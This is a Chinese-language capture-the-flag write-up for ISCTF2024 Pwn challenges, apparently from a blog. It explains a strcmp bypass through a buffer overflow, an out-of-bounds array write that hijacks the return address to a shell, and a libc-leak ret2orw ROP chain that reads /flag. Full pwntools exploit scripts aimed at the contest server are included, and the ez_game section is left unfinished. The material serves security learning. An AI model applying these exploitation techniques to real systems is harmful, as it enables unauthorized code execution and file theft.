ISCTF2024 Writeup

Pwn

Netcat

会nc就给flag

如题目描述所示,nc连接得到flag


girlfriend

你能记住你女朋友的生日嘛?

检查保护

image-20241110142702574

分析程序,在 amaze() 中发现后门函数

分析主函数,第一层需要绕过 strcmp ,使 s1 的值为admin

read(0, buf, 0x30uLL);
if ( strcmp(s1, "admin") )
  {
    puts("no no no");
    exit(0);
  }

但是我们发现并没有可以直接更改 s1 的操作,在比对之前有一个对 buf 的读入,观察栈内空间分布,可以发现对 buf 读入 0x30 可以更改 s1 的值

image-20241110145722958

绕过 strcmp 后进入 vuln() 函数,是一个8次循环的输入,但是数组大小只有5,所以这里存在数组越界,观察栈上内容

__int64 vuln()
{
  __int64 result; // rax
  _QWORD v1[5]; // [rsp+0h] [rbp-30h] BYREF
  __int64 i; // [rsp+28h] [rbp-8h]

  for ( i = 0LL; i <= 7; ++i )
  {
    printf("please input your %d girlfriend birthday\n", i + 1);
    result = __isoc99_scanf("%ld", &v1[i]);
  }
  return result;
}

虽然我们无法直接修改 result 的值,但是我们可以通过将下标 i 修改为负数使其满足要求,通过下列表格可以直观的看到数组下标以及对应的变量的关系

i value
-1 result
0 v1[0]
1 v1[1]
2 v1[2]
3 v1[3]
4 v1[4]
5 i
6 rbp's value
7 ret

在经过5次循环后,下标 i 变为了5,v1[5] 代表 i ,即此处更改的是 i 的值,通过修改 i 来达到更改 ret 的目的。需要注意的是,赋值操作在循环结果 ++i 之后,所以如果需要将下一次循环的下标更改为 7 ,那么在第一次数组溢出的时候应该输入 6

这里还需要注意的是,在输入 v1[7]ret 的值的时候,需要使用 str(bin_sh_add) ,

from pwn import*

context.log_level='debug'
io=remote("27.25.151.12",28155)

payload1= (0x30-0x8) * b'a' + b'admin'
io.sendafter(b'id',payload1)

for i in range(5):
    io.sendlineafter(b'birthday\n',b'0')
io.sendlineafter(b'birthday\n',b'6')

bin_sh_add= 0x40121B

payload2= str(bin_sh_add)
io.sendlineafter(b'birthday\n',payload2)

io.interactive()

ez_game

检查保护

image-20241110234549103

查看程序,在 getshell() 函数中发现 /bin/sh 字符串

查看主函数,表面上看起来是一个伪随机的check,但是我们发现在限定的时间内根本无法过完for循环,这时候我们更换思路。观察主函数可以发现在get处存在栈溢出,查看ROPgadget,得到的情况如下

image-20241110235143913

程序合适的 gadget 太少


ret2orw

检查保护

image-20241111130956804

观察主函数可以发现在 vuln() 中存在栈溢出的read,同时在 vuln() 函数执行完后还有一个put,在程序中发现 system/bin/sh

查看沙盒

seccomp-tools dump ./ret2orw

image-20241112001807078

由于开启了NX保护,且没有具有代码执行权限的区段,所以这一题准备用ROP调用orw三个函数。

首先通过 puts 泄露打ret2libc,找到orw三个函数的地址,ROPgadget 情况如下

image-20241112011338524

除了 rdi 我们还需要 rsi rdx ,可以通过 puts 泄露得到的 libc_base 计算得到。

from pwn import*

context(os='linux',arch='amd64',log_level='debug')

io= remote("27.25.151.12",20026)
# io= process("ret2orw")

elf=ELF("ret2orw")
libc= ELF('libc.so.6')

ret_add = 0x40101a
pop_rdi = 0x4012ce
main_add = 0x4012AD
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

pop_rsi= 0x02be51
pop_rdx_r12= 0x11f2e7
pop_rax= 0x045eb0

offset= 0x20
bss_add= 0x404060 + 0x200

payload = b'a'*offset + p64(bss_add+0x20) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'this?', payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Put_add: ",hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
print("Libc_base: ",hex(libc_base))

openat_add= libc_base + libc.symbols['openat']
print("Openat_add: ",hex(openat_add))
read_add= libc_base + libc.symbols['read']
write_add= libc_base + libc.symbols['write']

pop_rsi= libc_base + pop_rsi
pop_rdx_r12= libc_base + pop_rdx_r12
pop_rax= libc_base + pop_rax

payload = b'/flag\x00'.ljust(offset+0x8,b'a')

# openat
payload += p64(pop_rdi) + p64(0xffffffffffffff9c)
payload += p64(pop_rsi) + p64(bss_add)
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(openat_add)

#read
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss_add)
payload += p64(pop_rdx_r12) + p64(0x30) + p64(0)
payload += p64(read_add)

#write
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(bss_add)
payload += p64(pop_rdx_r12) + p64(0x30) + p64(0)
payload += p64(write_add)

print(hex(len(payload)))
io.sendline(payload)

io.interactive()

这里有几个地方需要注意:

需要使用栈迁移将 rbp 迁移到 bss 段的位置,也就是将 rsi 迁移到 bss 段的位置,控制第二次 readbss 段开始读

image-20241113013013095

在libc中搜到的 open 其实是 openat ,也是在orw中常见的一种函数

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);

openat 函数的三个参数:

1.dirfd : 文件描述符,用于指定路径解析的起点

2.pathname : 文件路径名,要打开的文件的路径

3.flags : 标志位,用于指定文件的打开方式和权限等信息


flags 参数接收一个标志位参数,用于指定文件的打开放方式和属性。常用的标志位参数:

数字常量: 0     O_RDONLY    只读打开
数字常量: 1     O_WRONLY    只写打开
数字常量: 2     O_RDWR      读写打开
数字常量:64     O_CREAT     如果文件不存在则创建
数字常量:128    O_EXCL      与O_CREAT一起使用,如果文件已存在则失败
数字常量:512    O_TRUNC     如果文件存在则截断
数字常量:1024   O_APPEND    追加写

这里我们的访问权限很低所以采用只读打开


暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇